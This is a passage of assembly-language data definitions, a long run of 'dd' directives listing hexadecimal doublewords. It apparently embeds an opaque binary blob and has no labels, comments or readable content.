dd 7913F754h, 0A5660071h, 7FC8156Ch, 0F50B236Eh, 31ED39Bh dd 38142586h, 7C9F2188h, 0C52438h, 0A24064Ch, 1601D912h dd 2D04671Dh, 0E940EB11h, 78D84E1Eh, 9FF02A7h, 0BC4A21B7h dd 57F122E0h, 0F5615D1Ch, 9FEB79C0h, 3C126808h, 0A9017BE7h dd 0AE4497EDh, 0DF863023h, 938CB100h, 0DAF84817h, 0E176001Ah dd 0DD2DFD3Ch, 3200393Ah, 0BB40D49Dh, 1AB85Ah, 5036DB49h dd 86D2A54Dh, 14411F48h, 6F8C546h, 0EF5AD378h, 0A113AD0h dd 0B3858780h, 725CDB37h, 609DA00h, 0FCEBC197h, 3C7219h dd 1C7499E9h, 0E147C657h, 39003D7Ch, 181BD416h, 380D7064h dd 3201A68Dh, 34DB2BABh, 4268243Bh, 0B71A139h, 3EE070h dd 50ACB592h, 0B40A0007h, 0A974B25Eh, 8700AB30h, 1137C24Dh dd 92FCD9h, 9A57E186h, 7C3E454Bh, 0B5C858h, 0EBD08887h dd 7AB2EDh, 4B5A1576h, 0ACC282F3h, 4170F4FCh, 656EA10Eh dd 1800574Ch, 7AAD70F1h, 39600066h, 0AC75778Fh, 6307237Bh dd 46768E3Ah, 74715270h, 86A600EDh, 0F5503869h, 8A00D970h dd 0E4227FB8h, 1E9891F1h, 40AFA8F8h, 9F5D78D8h, 0D40355F7h dd 0BADE7789h, 2BFC0D2h, 5B630490h, 80ADB6B7h, 0DE21C55Ch dd 0F1C61700h, 4CF037B5h, 66B30084h, 223A4DABh, 97008D72h dd 0B5339AB2h, 329E369h, 4E4AC211h, 0D0026F7Dh, 7A9CF40Dh dd 0B7E080EEh, 0DDA3303Bh, 37B8060h, 6DE9FD3Dh, 0AB3E8C90h dd 0AB90922h, 8F14A0C5h, 0FEB352Dh, 611BFCDCh, 0FF082AA1h dd 2015F959h, 50F2CF95h, 2907A0F2h, 0C616FA4Eh, 0A2D4E750h dd 0CFC0090h, 91EEF22h, 0AA00BCBAh, 0A8C1EB4Ch, 30608B88h dd 0A9A9E2DDh, 2C734D8Fh, 5B066800h, 0C39385D5h, 0B4D7049Eh dd 0C1164445h, 0C4DF6B16h, 300F918Eh, 0C07C1928h, 3C8D92DCh dd 4223012Ch, 0ED0D8046h, 1BBC50E5h, 24801A73h, 54AC49EFh dd 4BE00074h, 0CE3637DAh, 450ED49Ah, 13C7F6A6h, 82AF6A01h dd 16E49CE1h, 8B1C07BBh, 90A80715h, 98A7EC25h, 4F1E5B0Fh dd 8E18807Dh, 7953F14h dd 0A2C86A47h, 0A40533F3h, 274D4EB0h, 9A927600h, 81D49C78h dd 0EE650063h, 0CA5B75F5h, 0E5004CA0h, 0A2CF7A3Fh, 4FF7A3h dd 688771DCh, 28C9B2D7h, 112CCC00h, 0B9E3E518h, 13140131h dd 0B59F26CAh, 0FC59C8EAh, 8B83A700h, 6344863h, 1B5F0E42h dd 0F0207E54h, 9636F31Fh, 0FA0346EAh, 7AD1AE3Ch, 4015FA7Fh dd 786D4C0Ch, 0F8514C08h, 7B60EE09h, 6AFAEC20h, 0FD02A2ACh dd 48E34CE4h, 9BE84046h, 5B920FB6h, 89A5A19Dh, 13E8000Fh dd 2865DEE0h, 2CBF972Ch, 3C14CD01h, 0D900A002h, 4420E737h dd 2EBF014Ah, 51F01808h, 2886E454h, 0CA1A0600h, 85145556h dd 1B090727h, 40C062CFh, 541091A9h, 0C3035903h, 8F847597h dd 0C05FED70h, 401770A4h, 0B720928Ch, 7EBB2405h, 3AC60092h dd 17C0803Dh, 1E00F77Ch, 0AE63F128h, 1226840Bh, 338808h dd 5307AB6Fh, 75008CB2h, 0CBA43AD7h, 1CDF04h, 329C5D1Bh dd 0B9DEF989h, 3BC16E00h, 3DDA69F8h, 0A89CA317h, 5056EF8Fh dd 4451B01Eh, 87CDE12h, 0A0BD4A44h, 24E353F4h, 80C8931Ch dd 628BA4EAh, 837E37D7h, 0CBA10600h, 0B156764Ch, 614407BFh dd 32F4D4A6h, 76C06B84h, 9A1259E5h, 4400DE31h, 0BAD5CEDFh dd 0E4C7001Eh, 635F96B3h, 0F4068C37h, 859AFEAAh, 73654880h dd 893CAB00h, 17298DA9h, 36643900h, 43281A1Bh, 4EA0C1BCh dd 0F8DF0FF8h, 5A07D495h, 7DA721D7h, 72C5D0DCh, 1C980301h dd 84B63770h, 0ECBDE4F1h, 8A010608h, 0D5954771h, 0E3C88796h dd 0A47400CEh, 0EEACC360h, 0AE05462Bh, 16B3E71Eh, 9DD450h dd 0B489B5D2h, 0E8914283h, 7E60733h, 0E1232BCCh, 80E35C02h dd 0EDD68252h, 72E08E1h, 0A3AB4D85h, 0B4F090FDh, 0A609C666h dd 4923DAh, 0EECC39C8h, 46300385h, 24886979h, 0C351AC00h dd 0FD56F2CFh, 0F8307FEh, 2273D606h, 7843211Eh, 10931AD8h dd 0E90F98B0h, 1BA1C741h, 4C528728h, 0A6ADC012h, 0C1D5B0BCh dd 69F94A29h, 0B7AB3046h, 434B4801h, 0BD168027h, 0FCF6BF0h dd 269FE78Ch, 0F82A0BA0h, 6C00FE56h, 7345C8EFh, 7D9941F0h dd 62E50069h, 1535B889h, 24907191h, 141B558h, 4904A060h dd 3D60B033h, 0F3A98A6h, 6AB3304Bh, 8BD7A500h, 0A4000261h dd 0B9351504h, 0C662A8h, 0AF3AE0A1h, 61D5128Fh, 0E77E817Ch dd 157C6FF2h, 0DC9F5A2Eh, 8F8FD99Fh, 0E01B8E8Ah, 71E74BA4h dd 2AAC1C76h, 4DBAC0EAh, 7F2C9F4Eh, 0A60734B0h, 0F8FE700Eh dd 10FC830h, 36400195h, 1FA77A56h, 0E422D5FDh, 0B3011E61h dd 95EBC264h, 0E8204C14h, 8B78E0h, 0A035AF5Eh, 0DED16030h dd 18887800h, 0ED0E33C3h, 0BC8B0D85h, 0D8707967h, 0C500A022h dd 0B3471171h, 29C1036h, 0F95CA156h, 5240157Ch, 0D5071DDAh dd 95168105h, 0CE5A82D0h, 10980079h, 67AF611Fh, 64288E85h dd 5F07C88Bh, 0C2A025Bh, 0CFF3C02Eh, 0C8D823h, 0D0471AD7h dd 43EC2B1Bh, 0C17C2600h, 0B214E773h, 0DD50033Fh, 0E8456679h dd 0F42A0EA8h, 0D400B990h, 1B8698ADh, 0FCBC3094h, 0D6ED05D7h dd 0C7F596DAh, 0CF92E004h, 3BF42ECAh, 1441590Ah, 9C0018A8h dd 8DAAB15Dh, 0C43924C6h, 0AE9C3BF4h, 6F9E00EFh, 4CD1AD91h dd 2B00FFF4h, 5815CC2Dh, 275403h, 0FE4D6D7Fh, 84B5B110h dd 3BB49500h, 82E17E2Eh, 76201E5Ch, 0FB05CF6h, 7180C204h dd 9440ED50h, 1B3EE401h, 8626102Fh, 14A19120h, 0EC2DB612h dd 0C0DC5E1Ch, 72EAEE6Ch, 890BA7BAh, 0A0DDEF15h, 74876464h dd 3587DF2h, 8C2068A2h, 0E0F836DAh, 0B8002341h, 25476075h dd 162BDFBh, 6955E3D8h, 0E0AB38F7h, 33E87FB0h, 1C584D4Ch dd 5BC195F5h, 463EA7C3h, 3EC73DD0h, 0A6947942h, 0FC7DDC55h dd 0CFED00F9h, 4974F834h, 0E700E8C3h, 66B2C508h, 261762FCh dd 12800C46h, 55744B53h, 3D609010h, 0C09C88h, 796D5ABEh dd 0B5C370E5h, 93E953Fh, 80DD8762h, 51EBEE74h, 646B1E24h dd 92938032h, 87F327C7h, 3430F9E8h, 57115088h, 0EE780743h dd 0D324F821h, 839C3119h, 5CD8990Ch, 8D003698h, 0F226F7F5h dd 3F3B1B66h, 108E7869h, 7580A553h, 0F001DE6Eh, 7B93151Eh dd 0B7315600h, 0EEF912h, 3DCDBB6Fh, 3908B2Eh, 58AE3360h dd 7F53D861h, 0BA7900BCh, 98E524D6h, 8724E7CBh, 0AE39B4F5h dd 742A6610h, 0C31D29F4h, 0AC00F61h, 3A924406h, 0D23C0037h dd 4BA0F29Fh, 0A44CA5F8h, 20E00734h, 8079C984h, 504DA98h dd 0CD6D0057h, 4AA6D1E6h, 4D00A968h, 0EB752943h, 2779EA2h dd 6490EEFBh, 0E74E44h, 361888D1h, 9D6B600h, 7AB8743Dh dd 0C98F8h, 0D9D1ABBCh, 23F7F05Ch, 42EFA81Ch, 1C02EC45h dd 30007CD5h, 0C9C41F76h, 5B6B0078h, 3FE151F9h, 9248C881h dd 0D92D006Eh, 0B4AC0FDAh, 0BB003EEh, 3F44FEC7h, 81A27039h dd 79C6EFF5h, 0FFF84A89h, 4C2B7072h, 0D12EFC71h, 69DF00B3h dd 958351B5h, 2B298600h, 0CDAFE011h, 36872C55h, 0C92692D8h dd 0D218201Ch, 0C7300E17h, 39E71C01h, 0BEE48BABh, 69D39868h dd 300018A8h, 20B3E5E8h, 38FAFD0Fh, 0B09980AFh, 9ABDF0Dh dd 0FE21081Eh, 6AC2020h, 8F0051F7h, 29D2502Ah, 191125h dd 0E9028EEDh, 2F40BD05h, 47E3C103h, 0C03F30D6h, 7CE8AF60h dd 4E94C43h, 9D57261Ch, 185F4045h, 0C33A2209h, 0D80C0BFAh dd 0ACF1DC1Bh, 82510159h, 78D1451Fh, 6D06FCA6h, 849CF426h dd 49C12B00h, 786284Fh, 9630C5E8h, 65AB2021h, 0FA00A603h dd 99B4B014h, 773BE61Eh, 0F19E0BE0h, 0C09787Bh, 939D1D00h dd 0F51E15A5h, 0E700D75Fh, 7038A78Dh, 0C0D2005Eh, 0CC546EA0h dd 4D004ECBh, 58DA9B57h, 0EAC8A1h, 0C4E72DA9h, 6FA4D8D2h dd 0D004C000h, 97F6AB33h, 0F86E296h, 0FD69AFE1h, 1F5D8161h dd 3AA6F8BAh, 0A53DE00Bh, 6A09153h, 3F8020h, 7FE62CEAh dd 0E70FD2B2h, 14000C5Ah, 53947781h, 91EF3D01h, 0C00332Dh dd 0B0E45B92h, 278B900h, 60A8209Ah, 2F6500C7h, 9E9343EAh dd 0DD706C73h, 0FA0FCC94h, 0E5086016h, 332CE25h, 6D5DEBC9h dd 0E3EBC547h, 87B89683h, 49007804h, 7D5BB45Fh, 0D3C7A3h dd 0CB1EBAF4h, 33E79488h, 0C1FCF91Dh, 3740501Eh, 0B95BF6A1h dd 0D84A601Bh, 39876CB7h, 6794FE00h, 5B230DA9h, 0F96E0010h dd 7182B03Eh, 0FE260ED3h, 2A80E030h, 0CC4435D4h, 556B005Eh dd 7985292Ch, 50002BC6h, 3730283Bh, 4960C858h, 6900C076h dd 0F4424CA0h, 654DEA10h, 0ECEE0ED0h, 0EFBDCF95h, 61116E8Eh dd 0A688E014h, 2A048E80h, 318CE408h, 5668D3Ch, 86E20A2Ch dd 0B271000h, 0C8BE1h, 3F63618Ah, 0AFCE0121h, 0D07B0BAh dd 924D73EBh, 0B43059F0h, 0C82F609Bh, 0B5E93B55h, 115E0432h dd 1D420203h, 0A0C9CB18h, 0A719B7h, 0D0D1DD08h, 212B5409h dd 71129AEAh, 4C0BDEDh, 5CFC2465h, 940EA022h, 6405AC9h dd 2645055Ch, 0E90C6606h, 130EA2Bh, 2C53410Ah, 807DB16Fh dd 0A77066A8h, 165638Eh, 0BB80F3C2h, 60A5F447h, 6F0E5764h dd 400A0D7Ah, 8F21EA9Dh, 9F340206h, 0A8FA0E8Eh, 0F53EAB60h dd 0F819643Eh, 0C7CB8B00h, 92B8FF84h, 0D5D700B2h, 10C92403h dd 6D13B74Bh, 24C0A2ECh, 289ED4Ch, 0F994B3B8h, 0B987495Dh dd 21E24653h, 0B8185000h, 0C127847Ch, 191060A6h, 0EBE5B43Dh dd 5492E15Ch, 1A004010h, 0D6BC3249h, 19F37Ch, 0C9BFB828h dd 2D4EB13Bh, 0A71A3C01h, 0D62A334Ah, 509887D6h, 6F519CA0h dd 30CD5056h, 96F400B3h dd 0FCAE38C2h, 2A0413D7h, 6DBA8C7Dh, 0C09320C0h, 5897C5Ch dd 1DDFFCAFh, 80A8242Ah, 771F0CB4h, 80114869h, 0C606AA8Fh dd 7AD13989h, 0F0085133h, 22872100h, 4F996AAAh, 79E00018h dd 0BFF7628Ah, 28607C2Dh, 699705E1h, 1E10195h, 42495A07h dd 0DB2AC088h, 1E8DB200h, 10B80AB5h, 6F50007Bh, 0DC971BD0h dd 0D8F84B3Ah, 0E8816030h, 305C4AF7h, 45B17975h, 8C01AEB9h dd 6A71C2D6h, 89886F8h, 0BE382142h, 4A10AE0Bh, 69F38001h dd 5811177h, 0E498C618h, 8D840358h, 683A4AF1h, 2F30C114h dd 44810F36h, 0BCA09405h, 0A41312B9h, 230079B8h, 6E06616h dd 0F6E8E2F4h, 7DE9004Ch, 9FFA41ACh, 180015D8h, 0BFC9B82Fh dd 5A264F7h, 2A1C83C8h, 0AB5BC0AEh, 9E38E828h, 0EF8D2870h dd 0D900197Bh, 0C9BB3AEAh, 5B0DB3h, 9E052C45h, 814A5DAh dd 94572300h, 8D78D20Eh, 0A75200D1h, 7920C1E5h, 0C7026D24h dd 2F7E367Bh, 0AD67E0A2h, 509FE00Eh, 0BFAF49h, 3D9471C6h dd 0A5845027h, 2D0097E2h, 0EA028B37h, 0EC6ABh, 8DC0B122h dd 2F992301h, 0DD6F6103h, 0CF1336A3h, 91AD8FF0h, 0CDE31752h dd 6D4103E8h, 2A85770Ch, 0D400EF04h, 0E0A313A0h, 9F00864Fh dd 0C57B8F9Ah, 0CA873Dh, 0D3EF0C6Ah, 2B76DACBh, 9C7A1E1Dh dd 56271280h, 13DF00Eh, 0CF666E09h, 90CC55E9h, 0E88FAA29h dd 71451171h, 21AE3711h, 286C14D6h, 0E1085121h, 8AC290D1h dd 4D1014EAh, 48D3B084h, 2F2942CEh, 22689922h, 9A22D291h dd 2983227Dh, 1C219524h, 108612D7h, 0A189238Fh, 0D644A008h dd 0DD6188B2h, 0D2CAEE00h, 632CC697h, 0CBED00D8h, 2DC196D9h dd 0EF3FDA62h, 5FE800C9h, 90C25380h, 0AAE2073Ah, 0E04A815Eh dd 0B1E53B97h, 4DBFF00h, 0DD60BD38h, 0C2F500D3h, 5E573A1Ch dd 620179AEh, 0BF411A81h, 0F5C8648Dh, 85610F55h, 4CC0BAECh dd 0B5D2C7EFh, 0FFB2C400h, 0A9E2A8A1h, 409E2E71h, 4DB3075Bh dd 1B3E9065h, 0D00CA0Bh, 40E1A2Dh, 60CE0729h, 0B4DD1125h dd 4F1E975Fh, 2B0FB06Bh, 48984077h, 1232C9DFh, 40AD0D1Fh dd 0C69BD528h, 0E307AEF0h, 28A2A03Dh, 0F8D78513h, 3CF34Eh dd 0BD962E9Dh, 8F4CA3F2h, 112AC301h, 58BFC47Eh, 69F6C4h dd 962FBC14h, 460D5FDFh, 0E16F0FEh, 0FF0011F9h, 4CE7C143h dd 0A61A3121h, 10B5F680h, 0A421340h, 31A8554Dh, 9E2B00A8h dd 0A7467E93h, 0C3873B00h, 5F92B307h, 0A1FEACh, 6A932A12h dd 0B05D3F0Bh, 0C33BEE77h, 4D828004h, 0D50DC41Fh, 67F5009Eh dd 587BACF3h, 0CB00865Fh, 62F198FFh, 5617Ah, 0AD58F2Ch dd 89159D59h, 5E33A600h, 9A794A90h, 681102C4h, 0B4E5A814h dd 63B27C40h, 3E3D5700h, 65825589h, 0A7A038BEh, 42DAFF00h dd 4123748Bh, 674AF000h, 0AE20C3Bh, 1624002Ah, 27B2B72Fh dd 0B5E671E0h, 0A7065E00h, 0D5190B9Dh, 635C0186h, 6E38ED9Ch dd 0F919206Fh, 0C2D090A3h, 5F00390Fh, 9ECA25B0h, 100AC9h dd 0F52CB354h, 3A08C7A3h, 0C1790B1Dh, 605FD3CFh, 0BF396B4Eh dd 5ED000A6h, 386961F0h, 0CE0EAD58h, 20176829h, 3623D2ECh dd 0A364009Bh, 1B15A04Bh, 89FA07D5h, 20B39D00h, 0BFB75A39h dd 9371D8h, 43162211h, 0DDAA8F65h, 1BCC1700h, 907B7F3Eh dd 0ED6401C4h, 2D559A14h, 0A32C013h, 0E1B8807h, 0A320E11Ch dd 0C7CE00Ch, 6A9F50B7h, 9090A5E0h, 81D38D00h, 0EF6421C4h dd 0AAC70191h, 0D132FACBh, 0E56CF0B6h, 9A014890h, 12470ABFh dd 8EF401E0h, 0C9F628h, 0DAB1E14Fh, 0CB4B6AF3h, 3361B900h dd 0C2E52448h, 0A19E0015h, 7C531AEFh, 0D4000F2Eh, 598C2FC1h dd 482A8FDh, 132171D5h, 46B880A1h, 410E9AB8h, 0C0AE4927h dd 0A7E64466h, 0DBFE0005h, 0F5D8AC89h, 0D25E0757h, 0CF0029E8h dd 24B3B82Bh, 0E0147127h, 38FB287Ah, 0A5520719h, 34F2AA9Fh dd 47F090E2h, 0F28C80F6h, 0AF097F00h, 8EFA3580h, 207A00F9h dd 0E53C83A4h, 7800F793h, 48493B0Ah, 0F64FE3B1h, 91E3A7Eh dd 4EE0B48Eh, 8185140h, 0FE00DD68h, 17112358h, 8533C27Ch dd 8EE0B8A0h, 1C63995Ch, 0E040F76Fh, 0D182A3EAh, 0EBAB19F8h dd 401E2003h, 5D205FAFh, 9B3FF000h, 1076712Ch, 0CC480023h dd 0B2170738h, 0DAEC47BDh, 52808802h, 0C0764AC6h, 1F324F54h dd 1EB78CE3h, 0D5C7C13Eh, 30E5DA01h, 1E06DF18h, 222670C5h dd 723D0048h, 676EE62h, 5A015DFFh, 0E3D7B531h, 8064213Ch dd 0F69200E7h, 94C201D0h, 0DE0443BFh, 8D0DC611h, 1175C98h dd 0EA6F0F58h, 0D49C318Bh, 0CC020914h, 0D3EEC1D2h, 0DB604183h dd 8440B3D1h, 0DBA9Ch, 0E8271D47h, 6932815Dh, 0C39889E5h dd 5C5780F6h, 0E79B98h, 5788732Ch, 0D64E780Fh, 4305E318h dd 1CCDC8A1h, 709D40h, 6E4FF042h, 0AC98B44Ah, 3ACCE200h dd 10D1B327h, 29B028DBh, 0B9311D54h, 0F9DC0426h, 7DB0D15Bh dd 2334209Ah, 1493E907h, 0CB80B1EAh, 0F43A589h, 0E7B45816h dd 677BF6A3h, 0F80176C0h, 9B00CA7Eh, 67F0AE8h, 5A989Eh dd 17D2B396h, 0AACBEF9Fh, 4DD1C900h, 4E2C3E31h, 184B48A6h dd 0FE6CCF00h, 0C693D09Fh, 10DBC90Eh, 0C54C215Dh, 86C488CEh dd 578D0034h, 8ABF1FAEh, 1E3CAACAh, 0B05A80B6h, 98549CBEh dd 7A0B002Bh, 0AC13DA82h, 2FE9545h, 4918B300h, 7427B9E5h dd 83F8E6h, 0B605D667h, 0D53BD4Dh, 3643BC00h, 3D5BEFB9h dd 756CEEA8h, 483B282Ch, 0E17E00B0h, 233BA90h, 8172F8ADh dd 36009173h, 78FBAE0Dh, 9F93E2h, 22F62C7h, 721267BCh dd 288AF807h, 10C0B73Dh, 8DFF75h, 5321D50Fh, 930E0C27h dd 0F8D6EE25h, 2C349063h, 80081470h, 0F0AA28BBh, 11008DA0h dd 0B00B1EA8h, 2C3EF2B7h, 3F4BE09h, 0A67CD50Ah, 3222F0F8h dd 0EED82900h, 6B0FD2A7h, 2EF60EFBh, 3D2F3BF1h, 110090B4h dd 0B7E6ECDAh, 0AF14A638h, 8C81A9h, 0D454FAD9h, 57B1EDEh dd 0B844A813h, 0F4F000FEh, 0D7C5C419h, 71C31C1Eh, 76E7D0C0h dd 1FB20EE0h, 9FB1A834h, 0EEEC5414h, 88B7A500h, 27A0E617h dd 185AFE1Ch, 1C1DF483h, 392980D8h, 54121C55h, 0AE4181AFh dd 6097448Ch, 45004A16h, 907253EFh, 0E0DB7DE9h, 0A0150050h dd 8C2151CCh, 0D70EFF70h, 0A0A474B4h, 55E38A6Ch, 9B88001Bh dd 332C09D0h, 0BD01F10Ah, 0B0BA3FB2h, 8C209AF2h, 0E6F51EF8h dd 8BF8AD2h, 0E5F00B90h, 0BBE0000h, 0F201FA64h, 706ED1E7h dd 0AE859B6h, 0EAA0097Ah, 260AB422h, 0EDA5038Eh, 2FB81529h dd 0C4A29710h, 2073990Eh, 0AA2A6A04h, 31A9E000h, 0CDADA671h dd 0D7BA0010h, 0BFD91688h, 96012C97h, 31E8DBD8h, 0E8DF5862h dd 0DFA6E7h, 5DFB32F6h, 601C30Ch, 0CC13B713h, 0C0055A00h dd 36BA539h, 466970A3h, 0CE8B988h, 777EB6Ah, 0C5A72900h dd 0D8FB7C1Fh, 43B01E2Eh, 412F9F3Bh, 4D697EBAh, 0EC1F876h dd 0F0BDD200h, 9F2266F9h, 7AF50028h, 56137801h, 7E005B97h dd 0FF55308Bh, 9482EFh, 5C8DAE07h, 6A87C669h, 0EDEBC200h dd 8553FA5Fh, 64B800D8h, 0B33D1647h, 0E77138B2h, 94C339h dd 0A1B5E8E2h, 26FFE6CEh, 3DD0AE89h, 9BB02D81h, 0F069F05Ch dd 52066E41h, 0A9D239E5h, 0C2080018h, 0FC100406h, 0A800789Ah dd 0ACED81FAh, 3A852761h, 4C015B35h, 7350E948h, 29EC74F4h dd 0B49C2B00h, 0C55642ECh, 932E2425h, 514907EFh, 9D34F0C6h dd 6400DC28h, 10A3361Bh, 4C9244A9h, 2048185Bh, 0ED4DC4C0h dd 549827C5h, 8EDDC800h dd 86619437h, 0A12000ECh, 1FBFF72Ah, 0ED000DAEh, 0F31A7AE3h dd 0C3CF660h, 34451555h, 4E00A350h, 0E9FA785Ah, 18443B71h dd 0B007975Dh, 8418B86Dh, 59C0F001h, 0D1A90185h, 0B4ACCFB5h dd 5D27FC32h, 175B440Bh, 93260047h, 0DF4ADAh, 5E90581Fh dd 0CB754C81h, 0D7D88A01h, 991AB807h, 15189F4h, 94FD1896h dd 0C438356Eh, 440F256Ah, 3F8B9BFCh, 0B5669F40h, 781396Fh dd 4D3802DDh, 8427904Bh, 0B8491449h, 699C0038h, 432619AEh dd 0E1210F32h, 0B9A2CEE8h, 8CE2350Eh, 187810C0h, 184D072Eh dd 76F9FE00h, 9692114h, 0A4317C7Dh, 5A1CC400h, 560F4A6Ah dd 0B365B13h, 0DA095Dh, 0FFB3460Ah, 456F015Fh, 0FDD92C42h dd 0BD15ECAEh, 0D82D660Fh, 10801FC6h, 793469BEh, 0C4881261h dd 0DFC40796h, 0D01F1578h, 0A53741ECh, 0B332AA02h, 0C8690E81h dd 0D21670h, 566F5A83h, 413A8805h, 0BF0033E6h, 701E12ADh dd 243B5EE3h, 0A8E41D65h, 0D87D0ED3h, 0FC20176Eh, 0D492531Eh dd 0B7EADD00h, 0CEDB9C61h, 10C4A05Fh, 0F7C7456h, 0BC8AE723h dd 0A38D9E60h, 0A700661Eh, 944A2574h, 30DBBDh, 438C54F3h dd 0C190D623h, 9A68E30Eh, 0EC4EC0A7h, 4F2773F2h, 60B0E815h dd 57D25918h, 61C9073Dh, 30F9D59Dh, 1A5918Bh, 0FB733Bh dd 9CCF20FEh, 2FFFC0Ch, 0B90805EAh, 34414F87h, 0D029F2h dd 8E5CD2A0h, 4A346443h, 0E056BAh, 0D1EB3A1Ch, 20038F5Bh dd 0BC6E7F1h, 238EC03Dh, 3A04BF4h, 0AD29BA04h, 0E0DB400h dd 0EBAABEE7h, 2EC203D0h, 0C5E65987h, 0F07B76E0h, 91A5FC01h dd 86B3B79Fh, 48857460h, 7C0927AFh, 5301EBC7h, 50EF9DACh dd 58728CB8h, 8B200600h, 7C114FA1h, 9D291E23h, 0DC63C0ECh dd 0F1C4C06Ah, 0BC7E5E18h, 1C1D1E8Ah, 0C7EE1C41h, 51393FBDh dd 7005483Eh, 96246090h, 0A400585Eh, 92437F34h, 0A585A07Dh dd 4E7E1237h, 946C0390h, 238AB617h, 0CEFDC060h, 9DB52A38h dd 4C01526h, 9D162FE0h, 90FF2EACh, 37FA0188h, 0E8356261h dd 67EE8203h, 94F5732Ah, 47667200h, 0C663E5BFh, 0E6D730E3h dd 6C1FD518h, 875120F5h, 3EB6C800h, 0F261DF98h, 6D24045Ah dd 0C1CA5DB5h, 10154B14h, 3F5062B4h, 6E9DA381h, 548E8FA2h dd 20702246h, 2E204F00h, 0B8FF92CAh, 7B17D7Fh, 7C6F618Ah dd 2880C104h, 942870CBh, 1FCCC14Ch, 74CCBC1Ch, 259A34h dd 0DC8A3F5h, 68876C39h, 7B00D4FCh, 2C27BBC1h, 0EE1A3348h dd 2AC805A9h, 0C0DFC23Ah, 0FE192938h, 5F260107h, 0A490187Bh dd 656C60h, 0D4879BFAh, 0F066131h, 70E67300h, 74E4677Ch dd 75A0008Eh, 65BA7D47h, 0A877B192h, 3BF4835Ch, 0AB8000FAh dd 13C8F24h, 0D5060090h, 85CBC015h, 0CC00171Bh, 654A228Eh dd 0AFD340Eh, 362E9CDh, 0A14807F8h, 5CBB9046h, 4B0067ACh dd 0BEC8459Ah, 3D660F5Dh, 0CA1C9876h, 0DE7E416Fh, 30DBC5EBh dd 9A4FB6F9h, 0DF9CCC42h, 67A8C9B7h, 43B420h, 23C90FF2h dd 0E536B82Eh, 7DF89300h, 0DD994B61h, 70894871h, 8835B712h dd 6F00E140h, 0A3DD9D90h, 13B938A8h, 40CE9666h, 5DE7A748h dd 0E5008CA1h, 0A90AC281h, 0D252B3h, 9E0B587Bh, 0CAF5372Ah dd 0F600E073h, 81A2B57h, 60BE4EA0h, 3D77F002h, 7170547Eh dd 2260B3F0h, 9E69EFA0h, 2A551490h, 7530ADF9h, 674AF620h dd 0A4BB3502h, 70F240D6h, 0A7BE00D4h, 4BF043D7h, 0EF3C366Ah dd 0D48B96FDh, 674F181Eh, 0CF820031h, 16D9CFBh, 4D863466h dd 30DDC409h, 0B202CB04h, 8468521Eh, 0B91C5160h, 5AE2C700h dd 0BC80283h, 0EE02F49Eh, 635719D4h, 0B1C0A4C0h, 0CA3EEBh dd 0F08A4C0Ch, 0F4980F8Fh, 0A26D1D00h, 0A63AB5EFh, 5D2C3134h dd 0F0446240h, 1E07D5ABh, 375BE24Fh, 5FD2A871h, 39810C61h dd 0FE0AA5DFh, 0ADA4C43Dh, 5D457F04h, 9C90A1DBh, 9EBF9B04h dd 7E59050Ch, 3DA421D0h, 70E0CCA0h, 2551EA00h, 76F8775Dh dd 0B3A7973h, 858B62Ch, 0DB055880h, 4B001A1Bh, 79DC0B59h dd 753ECBAEh, 5DE2002Fh, 9B5E1C8Ah, 0A70061A8h, 0EA12CDA3h dd 30625B36h, 227074F7h, 0C63C5F3Ch, 8C9E800Fh, 0C5543325h dd 0A3F2000Ah, 5E3D2C8Fh, 213A9BCBh, 80F9BD6Ah, 4EBB36D7h dd 9FC4167h, 0BA39CCA6h, 0C314818h, 72B70E09h, 3AD091FDh dd 26BEF8h, 38D6A613h, 0AF4187BDh, 3B034C71h, 6E3E10ADh dd 31B988B3h, 140B89Fh, 0FAD44601h, 0C07A7416h, 72035817h dd 0F278E862h, 686AD92Bh, 33DAFCh, 4D733DACh, 0E185BB49h dd 3943FA00h, 0AA974C60h, 6DB700DDh, 7FF6FC52h, 0E001BB8h dd 0ACF067F9h, 7E88DF35h, 0CE1D0391h, 0D2C9CFF6h, 1680C084h dd 0FD0083DDh, 254569E6h, 28B9DBCCh, 76C91A7h, 0E83895C7h dd 0B2A5C042h, 28B0D7A6h, 2BA7DD07h, 1DF099B1h, 281605h dd 0BBE304F0h, 58E94E1Eh, 0D6D54B00h, 0EDA7EA41h, 473203B7h dd 0AA38E8C4h, 0CFDC9CF0h, 30031090h, 0CB2EE419h, 0B686A83Ch dd 2DDF0015h, 81903FC8h, 0DD001BB7h, 0ADEC1F2Fh, 7A9347D7h dd 543B48C0h, 8D7CD200h, 0A5341AC3h, 5AB39412h, 1FEA6A12h dd 3D5C49F1h, 6EC258E0h, 0BA1AF104h, 14C0CC12h, 1817D33Bh dd 0D99B4C03h, 97006078h, 0CE91641h, 0BC4D69Dh, 0BCC9FCB3h dd 0DBCB8887h, 22906600h, 5305DACDh, 71ACEF46h, 1DC164C0h dd 0EEF20152h, 0E38F691Bh, 4F20C855h, 6D41451Fh, 63A5D800h dd 0F8E5F1h, 0D40B578Ch, 8F4F091Ah, 0C2913A00h, 28655C98h dd 0CD0200B7h, 595143ABh, 841EEA5Eh, 803DB3D9h, 8CDA06AAh dd 53AC23h, 9B3EBF83h, 4A34F11Ch, 0ECA69301h, 0F436B42h dd 71103BE4h, 0C8C5482Ch, 9D2E267Dh, 0C5C81224h, 0C9B88898h dd 0EB00DAEEh, 0F0967E2Dh, 0AA53B3h, 0C2E7385Fh, 0B12E8293h dd 0B9B05A78h, 0F3839201h, 9553B0A0h, 2C0EE430h, 4982DC8h dd 0D05696BFh, 0C34C7848h, 9479B009h, 5ED0A0F1h, 1D0F4D76h dd 0C1E96055h, 45F37AF0h, 0BA6AE4B9h, 0C1406600h, 0E875B747h dd 85A40E6Ch, 31A074D4h, 1B385C71h, 0D3C8ED60h, 9800FECh dd 7FAB63F9h, 919AC01h, 2091EDD4h, 2B1E0284h, 56025905h dd 40DF4880h, 1C5F9698h, 0F22F801h, 466BE3D6h, 3E8A7420h dd 0E603994Ah, 16B5D9CFh, 0AD9890D0h, 60046255h, 60E0BB2Bh dd 33261B25h, 0C106A289h, 6700DBDh, 556141B3h, 62001193h dd 151D7691h, 70B79DD5h, 7C6C488Dh, 0CC3C0416h, 3014C98h dd 0B2EE8E3Fh, 0EC74BAB8h, 0CC403BBEh, 10844618h, 0D8178148h dd 0A4870699h, 0CE89A9B0h, 0E4A77337h, 0C0A02A74h, 0F9D501B4h dd 58CA9C70h, 9621E029h, 0BEBF2203h, 0EF9D8803h, 2366879Bh dd 6D785780h, 0E4F80091h, 0E2B4E5A9h, 0AFE4540Bh, 81395C3Dh dd 6F368C17h, 6BCC7D14h, 0D37213DBh, 0FA9700A2h, 4FC6BCF0h dd 